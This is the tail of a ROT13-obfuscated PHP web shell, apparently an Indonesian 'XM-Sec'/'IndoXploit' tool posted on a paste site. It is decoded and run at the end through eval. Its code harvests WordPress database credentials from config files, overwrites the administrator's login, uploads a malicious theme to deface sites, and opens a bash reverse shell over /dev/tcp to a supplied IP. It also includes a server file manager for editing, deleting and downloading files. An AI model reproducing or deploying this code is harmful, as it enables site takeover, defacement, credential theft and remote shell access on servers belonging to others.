					$pu = phey_vavg("$gnetrg/jc-nqzva/hcqngr.cuc?npgvba=hcybnq-gurzr");
						  phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);
						  phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
						  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);
						  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG, 0);
						  phey_frgbcg($pu, PHEYBCG_CBFG, 1);
						  phey_frgbcg($pu, PHEYBCG_CBFGSVRYQF, $cbfg2);
						  phey_frgbcg($pu, PHEYBCG_PBBXVRWNE,'pbbxvr.gkg');
						  phey_frgbcg($pu, PHEYBCG_PBBXVRSVYR,'pbbxvr.gkg');
					      phey_frgbcg($pu, PHEYBCG_PBBXVRFRFFVBA, gehr);
					$qngn3 = phey_rkrp($pu);
						  phey_pybfr($pu);
					$l = qngr("L");
					$z = qngr("z");
					$anznsvyr = "vq.cuc";
					$scv = sbcra($anznsvyr,"j");
					schgf($scv,$fpevcg);
					$pu6 = phey_vavg("$gnetrg/jc-pbagrag/hcybnqf/$l/$z/$jjj");
						   phey_frgbcg($pu6, PHEYBCG_CBFG, gehr);
						   phey_frgbcg($pu6, PHEYBCG_CBFGSVRYQF, neenl('svyr3'=>"@$anznsvyr"));
						   phey_frgbcg($pu6, PHEYBCG_ERGHEAGENAFSRE, 1);
						   phey_frgbcg($pu6, PHEYBCG_PBBXVRSVYR, "pbbxvr.gkg");
	       		  		   phey_frgbcg($pu6, PHEYBCG_PBBXVRWNE,'pbbxvr.gkg');
	       		  		   phey_frgbcg($pu6, PHEYBCG_PBBXVRFRFFVBA, gehr);
					$cbfgErfhyg = phey_rkrp($pu6);
						   phey_pybfr($pu6);
					$nf = "$gnetrg/x.cuc";
					$of = nahphey($nf);
					vs(cert_zngpu("#$fpevcg#vf", $of)) {
            	       	rpub "[+] <sbag pbybe='yvzr'>oreunfvy zrcrf...</sbag><oe>";
            	       	rpub "[+] <n uers='$nf' gnetrg='_oynax'>$nf</n><oe><oe>"; 
            	        } ryfr {
            	        rpub "[-] <sbag pbybe='erq'>tntny zrcrf...</sbag><oe>";
            	        rpub "[!!] pbon nwn znahny: <oe>";
            	        rpub "[+] <n uers='$gnetrg/jc-ybtva.cuc' gnetrg='_oynax'>$gnetrg/jc-ybtva.cuc</n><oe>";
            	        rpub "[+] hfreanzr: <sbag pbybe=yvzr>$hfre</sbag><oe>";
            	        rpub "[+] cnffjbeq: <sbag pbybe=yvzr>$cnff</sbag><oe><oe>";     
            	        }
            		zlfdy_pybfr($pbaa);
				}
			}
		}
	} ryfr {
		rpub "<pragre><u1>JbeqCerff Nhgb Qrsnpr</u1>
		<sbez zrgubq='cbfg'>
		<vachg glcr='grkg' anzr='yvax_pbasvt' fvmr='50' urvtug='10' inyhr='$qve'><oe>
		<vachg glcr='grkg' anzr='fpevcg' urvtug='10' fvmr='50' cynprubyqre='Unpxrq ol KM-Frp' erdhverq><oe>
		<vachg glcr='fhozvg' fglyr='jvqgu: 450ck;' anzr='nhgb_qrsnpr_jc' inyhr='Unwne!!'>
		</sbez>
		<oe><fcna>AO: Gbbyf vav jbex wvxn qvwnynaxna qv qnynz sbyqre <h>pbasvt</h> ( rk: /ubzr/hfre/choyvp_ugzy/anzn_sbyqre_pbasvt )</fcna>
		</pragre>";
	}
} ryfrvs($_TRG['qb'] == 'nhgb_qjc2') {
	vs($_CBFG['nhgb_qrsnpr_jc']) {
		shapgvba nahphey($fvgrf) {
    		$pu = phey_vavg($fvgrf);
	       		  phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);
	       		  phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
	       		  phey_frgbcg($pu, PHEYBCG_HFRENTRAG, "Zbmvyyn/5.0 (Jvaqbjf AG 6.1; ei:32.0) Trpxb/20100101 Sversbk/32.0");
	       		  phey_frgbcg($pu, PHEYBCG_PBAARPGGVZRBHG, 5);
	       		  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);
	       		  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG, 0);
	       		  phey_frgbcg($pu, PHEYBCG_PBBXVRWNE,'pbbxvr.gkg');
	       		  phey_frgbcg($pu, PHEYBCG_PBBXVRSVYR,'pbbxvr.gkg');
	       		  phey_frgbcg($pu, PHEYBCG_PBBXVRFRFFVBA,gehr);
			$qngn = phey_rkrp($pu);
				  phey_pybfr($pu);
			erghea $qngn;
		}
		shapgvba ybutva($prx, $jro, $hfree, $cnff, $jc_fhozvg) {
    		$cbfg = neenl(
                   "ybt" => "$hfree",
                   "cjq" => "$cnff",
                   "erzrzorezr" => "sberire",
                   "jc-fhozvg" => "$jc_fhozvg",
                   "erqverpg_gb" => "$jro",
                   "grfgpbbxvr" => "1",
                   );
			$pu = phey_vavg($prx);
				  phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);
				  phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
				  phey_frgbcg($pu, PHEYBCG_HFRENTRAG, "Zbmvyyn/5.0 (Jvaqbjf AG 6.1; ei:32.0) Trpxb/20100101 Sversbk/32.0");
				  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);
				  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG, 0);
				  phey_frgbcg($pu, PHEYBCG_CBFG, 1);
				  phey_frgbcg($pu, PHEYBCG_CBFGSVRYQF, $cbfg);
				  phey_frgbcg($pu, PHEYBCG_PBBXVRWNE,'pbbxvr.gkg');
				  phey_frgbcg($pu, PHEYBCG_PBBXVRSVYR,'pbbxvr.gkg');
				  phey_frgbcg($pu, PHEYBCG_PBBXVRFRFFVBA, gehr);
			$qngn = phey_rkrp($pu);
				  phey_pybfr($pu);
			erghea $qngn;
		}
		$yvax = rkcybqr("\e\a", $_CBFG['yvax']);
		$fpevcg = ugzyfcrpvnypunef($_CBFG['fpevcg']);
		$hfre = "abanzr110";
		$cnff = "abanzr110";
		$cnffk = zq5($cnff);
		sbernpu($yvax nf $qve_pbasvt) {
			$pbasvt = nahphey($qve_pbasvt);
			$qoubfg = nzovyxngn($pbasvt,"QO_UBFG', '","'");
			$qohfre = nzovyxngn($pbasvt,"QO_HFRE', '","'");
			$qocnff = nzovyxngn($pbasvt,"QO_CNFFJBEQ', '","'");
			$qoanzr = nzovyxngn($pbasvt,"QO_ANZR', '","'");
			$qocersvk = nzovyxngn($pbasvt,"gnoyr_cersvk  = '","'");
			$cersvk = $qocersvk."hfref";
			$bcgvba = $qocersvk."bcgvbaf";
			$pbaa = zlfdy_pbaarpg($qoubfg,$qohfre,$qocnff);
			$qo = zlfdy_fryrpg_qo($qoanzr);
			$d = zlfdy_dhrel("FRYRPG * SEBZ $cersvk BEQRE OL vq NFP");
			$erfhyg = zlfdy_srgpu_neenl($d);
			$vq = $erfhyg[VQ];
			$d2 = zlfdy_dhrel("FRYRPG * SEBZ $bcgvba BEQRE OL bcgvba_vq NFP");
			$erfhyg2 = zlfdy_srgpu_neenl($d2);
			$gnetrg = $erfhyg2[bcgvba_inyhr];
			vs($gnetrg == '') {					
				rpub "[-] <sbag pbybe=erq>reebe, tnovfn nzovy anzn qbznva aln</sbag><oe>";
			} ryfr {
				rpub "[+] $gnetrg <oe>";
			}
			$hcqngr = zlfdy_dhrel("HCQNGR $cersvk FRG hfre_ybtva='$hfre',hfre_cnff='$cnffk' JURER VQ='$vq'");
			vs(!$pbaa BE !$qo BE !$hcqngr) {
				rpub "[-] ZlFDY Reebe: <sbag pbybe=erq>".zlfdy_reebe()."</sbag><oe><oe>";
				zlfdy_pybfr($pbaa);
			} ryfr {
				$fvgr = "$gnetrg/jc-ybtva.cuc";
				$fvgr2 = "$gnetrg/jc-nqzva/gurzr-vafgnyy.cuc?hcybnq";
				$o1 = nahphey($fvgr2);
				$jc_fho = nzovyxngn($o1, "vq=\"jc-fhozvg\" pynff=\"ohggba ohggba-cevznel ohggba-ynetr\" inyhr=\"","\" />");
				$o = ybutva($fvgr, $fvgr2, $hfre, $cnff, $jc_fho);
				$nah2 = nzovyxngn($o,"anzr=\"_jcabapr\" inyhr=\"","\" />");
				$hcybnq3 = onfr64_qrpbqr("M2ShqTIhMj0XCQ9jnUNAPvEznJkyZlN9VPEsExyZEIAoW2McoTHmW107QDbtVPEhMKqznJkyZm0vnl5jnUNvBj0XVPNtVPNtVPNtVPNtVPNtVTyzVPuznJkyK2I4nKA0pltvYv4iYv4iYv4iYv4iVv4xozI3MzyfMGZcXFO1ozkcozfbVv4hYl4hYl4hYl4hYlVhWT5yq2McoTHmXGfAPvNtVPNtVPNtoJ92MI91pTkiLJEyMS9znJkyXPEznJkyZ1faqT1jK25uoJHaKFjtVv4hYl4hYl4hYl4hYlEhMKqznJkyZlVcBj0XQDb/Ct==");
				$jjj = "z.cuc";
				$sc5 = sbcra($jjj,"j");
				schgf($sc5,$hcybnq3);
				$cbfg2 = neenl(
						"_jcabapr" => "$nah2",
						"_jc_uggc_ersrere" => "/jc-nqzva/gurzr-vafgnyy.cuc?hcybnq",
						"gurzrmvc" => "@$jjj",
						"vafgnyy-gurzr-fhozvg" => "Vafgnyy Abj",
						);
				$pu = phey_vavg("$gnetrg/jc-nqzva/hcqngr.cuc?npgvba=hcybnq-gurzr");
					  phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);
					  phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
					  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);
					  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG, 0);
					  phey_frgbcg($pu, PHEYBCG_CBFG, 1);
					  phey_frgbcg($pu, PHEYBCG_CBFGSVRYQF, $cbfg2);
					  phey_frgbcg($pu, PHEYBCG_PBBXVRWNE,'pbbxvr.gkg');
					  phey_frgbcg($pu, PHEYBCG_PBBXVRSVYR,'pbbxvr.gkg');
				      phey_frgbcg($pu, PHEYBCG_PBBXVRFRFFVBA, gehr);
				$qngn3 = phey_rkrp($pu);
					  phey_pybfr($pu);
				$l = qngr("L");
				$z = qngr("z");
				$anznsvyr = "vq.cuc";
				$scv = sbcra($anznsvyr,"j");
				schgf($scv,$fpevcg);
				$pu6 = phey_vavg("$gnetrg/jc-pbagrag/hcybnqf/$l/$z/$jjj");
					   phey_frgbcg($pu6, PHEYBCG_CBFG, gehr);
					   phey_frgbcg($pu6, PHEYBCG_CBFGSVRYQF, neenl('svyr3'=>"@$anznsvyr"));
					   phey_frgbcg($pu6, PHEYBCG_ERGHEAGENAFSRE, 1);
					   phey_frgbcg($pu6, PHEYBCG_PBBXVRSVYR, "pbbxvr.gkg");
	       		  	   phey_frgbcg($pu6, PHEYBCG_PBBXVRWNE,'pbbxvr.gkg');
	       		 	   phey_frgbcg($pu6, PHEYBCG_PBBXVRFRFFVBA,gehr);
				$cbfgErfhyg = phey_rkrp($pu6);
					   phey_pybfr($pu6);
				$nf = "$gnetrg/x.cuc";
				$of = nahphey($nf);
				vs(cert_zngpu("#$fpevcg#vf", $of)) {
                   	rpub "[+] <sbag pbybe='yvzr'>oreunfvy zrcrf...</sbag><oe>";
                   	rpub "[+] <n uers='$nf' gnetrg='_oynax'>$nf</n><oe><oe>"; 
                    } ryfr {
                    rpub "[-] <sbag pbybe='erq'>tntny zrcrf...</sbag><oe>";
                    rpub "[!!] pbon nwn znahny: <oe>";
                    rpub "[+] <n uers='$gnetrg/jc-ybtva.cuc' gnetrg='_oynax'>$gnetrg/jc-ybtva.cuc</n><oe>";
                    rpub "[+] hfreanzr: <sbag pbybe=yvzr>$hfre</sbag><oe>";
                    rpub "[+] cnffjbeq: <sbag pbybe=yvzr>$cnff</sbag><oe><oe>";     
                    }
            	zlfdy_pybfr($pbaa);
			}
		}
	} ryfr {
		rpub "<pragre><u1>JbeqCerff Nhgb Qrsnpr I.2</u1>
		<sbez zrgubq='cbfg'>
		Yvax Pbasvt: <oe>
		<grkgnern anzr='yvax' cynprubyqre='uggc://gnetrg.pbz/vqk_pbasvt/hfre-pbasvt.gkg' fglyr='jvqgu: 450ck; urvtug:250ck;'></grkgnern><oe>
		<vachg glcr='grkg' anzr='fpevcg' urvtug='10' fvmr='50' cynprubyqre='Unpxrq ol VaqbKcybvg' erdhverq><oe>
		<vachg glcr='fhozvg' fglyr='jvqgu: 450ck;' anzr='nhgb_qrsnpr_jc' inyhr='Unwne!!'>
		</sbez></pragre>";
	}
} ryfrvs($_TRG['qb'] == 'argjbex') {
	rpub "<pragre><sbez zrgubq='cbfg'>
	Onpx Pbaarpg: <oe>
	<vachg glcr='grkg' cynprubyqre='vc' anzr='vc_op' inyhr='".$_FREIRE['ERZBGR_NQQE']."'><oe>
	<vachg glcr='grkg' cynprubyqre='cbeg' anzr='cbeg_op' inyhr='6969'><oe>
	<vachg glcr='fhozvg' anzr='fho_op' inyhr='Erirefr' fglyr='jvqgu: 210ck;'>
	</sbez>";
	vs(vffrg($_CBFG['fho_op'])) {
		$vc = $_CBFG['vc_op'];
		$cbeg = $_CBFG['cbeg_op'];
		rkr("/ova/onfu -v >& /qri/gpc/$vc/$cbeg 0>&1");
	}
	rpub "</pragre>";
} ryfrvs($_TRG['npg'] == 'arjsvyr') {
	vs($_CBFG['arj_fnir_svyr']) {
		$arjsvyr = ugzyfcrpvnypunef($_CBFG['arjsvyr']);
		$sbcra = sbcra($arjsvyr, "n+");
		vs($sbcra) {
			$npg = "<fpevcg>jvaqbj.ybpngvba='?npg=rqvg&qve=".$qve."&svyr=".$_CBFG['arjsvyr']."';</fpevcg>";
		} ryfr {
			$npg = "<sbag pbybe=erq>crezvffvba qravrq</sbag>";
		}
	}
	rpub $npg;
	rpub "<sbez zrgubq='cbfg'>
	Svyranzr: <vachg glcr='grkg' anzr='arjsvyr' inyhr='$qve/arjsvyr.cuc' fglyr='jvqgu: 450ck;' urvtug='10'>
	<vachg glcr='fhozvg' anzr='arj_fnir_svyr' inyhr='Fhozvg'>
	</sbez>";
} ryfrvs($_TRG['npg'] == 'arjsbyqre') {
	vs($_CBFG['arj_fnir_sbyqre']) {
		$arj_sbyqre = $qve.'/'.ugzyfcrpvnypunef($_CBFG['arjsbyqre']);
		vs(!zxqve($arj_sbyqre)) {
			$npg = "<sbag pbybe=erq>crezvffvba qravrq</sbag>";
		} ryfr {
			$npg = "<fpevcg>jvaqbj.ybpngvba='?qve=".$qve."';</fpevcg>";
		}
	}
	rpub $npg;
	rpub "<sbez zrgubq='cbfg'>
	Sbyqre Anzr: <vachg glcr='grkg' anzr='arjsbyqre' fglyr='jvqgu: 450ck;' urvtug='10'>
	<vachg glcr='fhozvg' anzr='arj_fnir_sbyqre' inyhr='Fhozvg'>
	</sbez>";
} ryfrvs($_TRG['npg'] == 'eranzr_qve') {
	vs($_CBFG['qve_eranzr']) {
		$qve_eranzr = eranzr($qve, "".qveanzr($qve)."/".ugzyfcrpvnypunef($_CBFG['sby_eranzr'])."");
		vs($qve_eranzr) {
			$npg = "<fpevcg>jvaqbj.ybpngvba='?qve=".qveanzr($qve)."';</fpevcg>";
		} ryfr {
			$npg = "<sbag pbybe=erq>crezvffvba qravrq</sbag>";
		}
	rpub "".$npg."<oe>";
	}
	rpub "<sbez zrgubq='cbfg'>
	<vachg glcr='grkg' inyhr='".onfranzr($qve)."' anzr='sby_eranzr' fglyr='jvqgu: 450ck;' urvtug='10'>
	<vachg glcr='fhozvg' anzr='qve_eranzr' inyhr='eranzr'>
	</sbez>";
} ryfrvs($_TRG['npg'] == 'qryrgr_qve') {
	$qryrgr_qve = ezqve($qve);
	vs($qryrgr_qve) {
		$npg = "<fpevcg>jvaqbj.ybpngvba='?qve=".qveanzr($qve)."';</fpevcg>";
	} ryfr {
		$npg = "<sbag pbybe=erq>pbhyq abg erzbir ".onfranzr($qve)."</sbag>";
	}
	rpub $npg;
} ryfrvs($_TRG['npg'] == 'ivrj') {
	rpub "Svyranzr: <sbag pbybe=yvzr>".onfranzr($_TRG['svyr'])."</sbag> [ <n uers='?npg=ivrj&qve=$qve&svyr=".$_TRG['svyr']."'><o>ivrj</o></n> ] [ <n uers='?npg=rqvg&qve=$qve&svyr=".$_TRG['svyr']."'>rqvg</n> ] [ <n uers='?npg=eranzr&qve=$qve&svyr=".$_TRG['svyr']."'>eranzr</n> ] [ <n uers='?npg=qbjaybnq&qve=$qve&svyr=".$_TRG['svyr']."'>qbjaybnq</n> ] [ <n uers='?npg=qryrgr&qve=$qve&svyr=".$_TRG['svyr']."'>qryrgr</n> ]<oe>";
	rpub "<grkgnern ernqbayl>".ugzyfcrpvnypunef(@svyr_trg_pbagragf($_TRG['svyr']))."</grkgnern>";
} ryfrvs($_TRG['npg'] == 'rqvg') {
	vs($_CBFG['fnir']) {
		$fnir = svyr_chg_pbagragf($_TRG['svyr'], $_CBFG['fep']);
		vs($fnir) {
			$npg = "<sbag pbybe=yvzr>Fnirq!</sbag>";
		} ryfr {
			$npg = "<sbag pbybe=erq>crezvffvba qravrq</sbag>";
		}
	rpub "".$npg."<oe>";
	}
	rpub "Svyranzr: <sbag pbybe=yvzr>".onfranzr($_TRG['svyr'])."</sbag> [ <n uers='?npg=ivrj&qve=$qve&svyr=".$_TRG['svyr']."'>ivrj</n> ] [ <n uers='?npg=rqvg&qve=$qve&svyr=".$_TRG['svyr']."'><o>rqvg</o></n> ] [ <n uers='?npg=eranzr&qve=$qve&svyr=".$_TRG['svyr']."'>eranzr</n> ] [ <n uers='?npg=qbjaybnq&qve=$qve&svyr=".$_TRG['svyr']."'>qbjaybnq</n> ] [ <n uers='?npg=qryrgr&qve=$qve&svyr=".$_TRG['svyr']."'>qryrgr</n> ]<oe>";
	rpub "<sbez zrgubq='cbfg'>
	<grkgnern anzr='fep'>".ugzyfcrpvnypunef(@svyr_trg_pbagragf($_TRG['svyr']))."</grkgnern><oe>
	<vachg glcr='fhozvg' inyhr='Fnir' anzr='fnir' fglyr='jvqgu: 500ck;'>
	</sbez>";
} ryfrvs($_TRG['npg'] == 'eranzr') {
	vs($_CBFG['qb_eranzr']) {
		$eranzr = eranzr($_TRG['svyr'], "$qve/".ugzyfcrpvnypunef($_CBFG['eranzr'])."");
		vs($eranzr) {
			$npg = "<fpevcg>jvaqbj.ybpngvba='?qve=".$qve."';</fpevcg>";
		} ryfr {
			$npg = "<sbag pbybe=erq>crezvffvba qravrq</sbag>";
		}
	rpub "".$npg."<oe>";
	}
	rpub "Svyranzr: <sbag pbybe=yvzr>".onfranzr($_TRG['svyr'])."</sbag> [ <n uers='?npg=ivrj&qve=$qve&svyr=".$_TRG['svyr']."'>ivrj</n> ] [ <n uers='?npg=rqvg&qve=$qve&svyr=".$_TRG['svyr']."'>rqvg</n> ] [ <n uers='?npg=eranzr&qve=$qve&svyr=".$_TRG['svyr']."'><o>eranzr</o></n> ] [ <n uers='?npg=qbjaybnq&qve=$qve&svyr=".$_TRG['svyr']."'>qbjaybnq</n> ] [ <n uers='?npg=qryrgr&qve=$qve&svyr=".$_TRG['svyr']."'>qryrgr</n> ]<oe>";
	rpub "<sbez zrgubq='cbfg'>
	<vachg glcr='grkg' inyhr='".onfranzr($_TRG['svyr'])."' anzr='eranzr' fglyr='jvqgu: 450ck;' urvtug='10'>
	<vachg glcr='fhozvg' anzr='qb_eranzr' inyhr='eranzr'>
	</sbez>";
} ryfrvs($_TRG['npg'] == 'qryrgr') {
	$qryrgr = hayvax($_TRG['svyr']);
	vs($qryrgr) {
		$npg = "<fpevcg>jvaqbj.ybpngvba='?qve=".$qve."';</fpevcg>";
	} ryfr {
		$npg = "<sbag pbybe=erq>crezvffvba qravrq</sbag>";
	}
	rpub $npg;
} ryfrvs(vffrg($_TRG['svyr']) && ($_TRG['svyr'] != '') && ($_TRG['npg'] == 'qbjaybnq')) {
	@bo_pyrna();
	$svyr = $_TRG['svyr'];
	urnqre('Pbagrag-Qrfpevcgvba: Svyr Genafsre');
	urnqre('Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz');
	urnqre('Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr="'.onfranzr($svyr).'"');
	urnqre('Rkcverf: 0');
	urnqre('Pnpur-Pbageby: zhfg-erinyvqngr');
	urnqre('Centzn: choyvp');
	urnqre('Pbagrag-Yratgu: ' . svyrfvmr($svyr));
	ernqsvyr($svyr);
	rkvg;
} ryfr {
	vs(vf_qve($qve) == gehr) {
		rpub '<gnoyr jvqgu="100%" pynff="gnoyr_ubzr" obeqre="0" pryycnqqvat="3" pryyfcnpvat="1" nyvta="pragre">
		<ge>
		<gu pynff="gu_ubzr"><pragre>Anzr</pragre></gu>
		<gu pynff="gu_ubzr"><pragre>Glcr</pragre></gu>
		<gu pynff="gu_ubzr"><pragre>Fvmr</pragre></gu>
		<gu pynff="gu_ubzr"><pragre>Ynfg Zbqvsvrq</pragre></gu>
		<gu pynff="gu_ubzr"><pragre>Crezvffvba</pragre></gu>
		<gu pynff="gu_ubzr"><pragre>Npgvba</pragre></gu>
		</ge>';
		$fpnaqve = fpnaqve($qve);
		sbernpu($fpnaqve nf $qvek) {
			$qglcr = svyrglcr("$qve/$qvek");
			$qgvzr = qngr("S q L t:v:f", svyrzgvzr("$qve/$qvek"));
 			vs(!vf_qve("$qve/$qvek")) pbagvahr;
 			vs($qvek === '..') {
 				$uers = "<n uers='?qve=".qveanzr($qve)."'>$qvek</n>";
 			} ryfrvs($qvek === '.') {
 				$uers = "<n uers='?qve=$qve'>$qvek</n>";
 			} ryfr {
 				$uers = "<n uers='?qve=$qve/$qvek'>$qvek</n>";
 			}
 			vs($qvek === '.' || $qvek === '..') {
 				$npg_qve = "<n uers='?npg=arjsvyr&qve=$qve'>arjsvyr</n> | <n uers='?npg=arjsbyqre&qve=$qve'>arjsbyqre</n>";
 				} ryfr {
 				$npg_qve = "<n uers='?npg=eranzr_qve&qve=$qve/$qvek'>eranzr</n> | <n uers='?npg=qryrgr_qve&qve=$qve/$qvek'>qryrgr</n>";
 			}
 			rpub "<ge>";
 			rpub "<gq pynff='gq_ubzr'><vzt fep='qngn:vzntr/cat;onfr64,E0yTBQyuRjNDNYZNNNNNNC///5lpNZ7BL///aC//mi/BaCs39////jNNNNNNNNNNNNNNNNNNNNNN"."NNNNNPU5ONRNNNtNYNNNNNNGNONNNNEERZyWd7046lc6OkfvURIORNXLPHCeQc7UyKEqRbZdProc"."/4LpussmTDuU4LELCO2QByUCvXjdq1Cd8leIIt3DLrU5ELX5eWsnSHHN3iO4sOVONQf='>$uers</gq>";
			rpub "<gq pynff='gq_ubzr'><pragre>$qglcr</pragre></gq>";
			rpub "<gq pynff='gq_ubzr'><pragre>-</pragre></gu>";
			rpub "<gq pynff='gq_ubzr'><pragre>$qgvzr</pragre></gq>";
			rpub "<gq pynff='gq_ubzr'><pragre>".j("$qve/$qvek",crezf("$qve/$qvek"))."</pragre></gq>";
			rpub "<gq pynff='gq_ubzr' fglyr='cnqqvat-yrsg: 15ck;'>$npg_qve</gq>";
		}
		rpub "</ge>";
		sbernpu($fpnaqve nf $svyr) {
			$sglcr = svyrglcr("$qve/$svyr");
			$sgvzr = qngr("S q L t:v:f", svyrzgvzr("$qve/$svyr"));
			$fvmr = svyrfvmr("$qve/$svyr")/1024;
			$fvmr = ebhaq($fvmr,3);
			vs($fvmr > 1024) {
				$fvmr = ebhaq($fvmr/1024,2). 'ZO';
			} ryfr {
				$fvmr = $fvmr. 'XO';
			}
			vs(!vf_svyr("$qve/$svyr")) pbagvahr;
			rpub "<ge>";
			rpub "<gq pynff='gq_ubzr'><vzt fep='qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNLNNNNs8/9uNNNNNKAFE0VNef4p6DNNNNMvF0qRNC8N/jQ/bY2axjNNNNyjFSymNNNYRjNNPkZONWdpTNNNNNq0FH1SO9bWOupGWi2O2q4NNNWZFHEOIQwYoMB9GukMRVJ/dyiqgZ38OAtWDzDtWTq+N/ZDOYjTwvjU3ajqxFYgB2kRET5YdkKEFVE2LQsQ4TxTZ0C3eo4o9CNm0y7cFyJyJ0saaYbyNVCO4CKu4rShahpNVVYjqRFrMlNvsac6+h9bAYb3tZ3AmGqUE+//miWZmFlWXXbqvVt8NKnkrVm1oQM7ZkdAsgtFHEQJl7YHaM0qLzkNSNIRyV6NRPltVfDDfvmYOBNONQBwXNcdu7h7TbPHJvjLorgbHUeeCpjPdbS2XHrKYmRmOi0+hDzFUZRM9S6FMpe6v4VfOBn/o7UDZnUgVNjtYqUnyQN1ri0rDoFweReDjWcdS4rNk/ubdQ132zZxWev5hFBySuRucHDVvbwjnzBQAfywsHJPdcYaBnnPFXWganOPfMLwNyyzKV4inrbnIK0poFquzHE3mNXiAwL6Ivbb0gJmtRbaXoJ+XxTJg3Hag0PrTsWf9t+HH0eRTUU/Uj/ZwU6/G+CBqSbEAXPuZ22kzBCrfcwCTD6UcAD27g6fNPQFAnalbywQYRqInSBYr8MxHwX5hxd3g79yCP7/BQx5Tn+L6B5ZdlzAj3I1l3ulmsK0udiWYloKSq++s2q3q0qzf+dit4BQm8sUk0/Yfor3964fF7+4hRwhacdzFr6r3Q3A5/A0JMogyl9s09aM2M/o29i2sYRriiX9di7p2gbXv8HvvDvdUoz6evJ6n13sa+mi73+bdbeupYtXHSKIC+sa52+Ybaw8VYW0C8MVPPS9/CGcPyucOitCrybY9H55AVNNNNNNFHIBEX5PLVV='><n uers='?npg=ivrj&qve=$qve&svyr=$qve/$svyr'>$svyr</n></gq>";
			rpub "<gq pynff='gq_ubzr'><pragre>$sglcr</pragre></gq>";
			rpub "<gq pynff='gq_ubzr'><pragre>$fvmr</pragre></gq>";
			rpub "<gq pynff='gq_ubzr'><pragre>$sgvzr</pragre></gq>";
			rpub "<gq pynff='gq_ubzr'><pragre>".j("$qve/$svyr",crezf("$qve/$svyr"))."</pragre></gq>";
			rpub "<gq pynff='gq_ubzr' fglyr='cnqqvat-yrsg: 15ck;'><n uers='?npg=rqvg&qve=$qve&svyr=$qve/$svyr'>rqvg</n> | <n uers='?npg=eranzr&qve=$qve&svyr=$qve/$svyr'>eranzr</n> | <n uers='?npg=qryrgr&qve=$qve&svyr=$qve/$svyr'>qryrgr</n> | <n uers='?npg=qbjaybnq&qve=$qve&svyr=$qve/$svyr'>qbjaybnq</n></gq>";
		}
		rpub "</ge></gnoyr><ue>";
	} ryfr {
		rpub "<sbag pbybe=erq>pna'g bcra qverpgbel</sbag>";
	}
	rpub "<pragre>Pbclevtug &pbcl; ".qngr("L")." - Pbqrq Ol <sbag pbybe=yvzr>KM-Frp</sbag></pragre>";
}
?>
</ugzy>";
  22. eval(str_rot13(base64_decode($code)));
  23. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement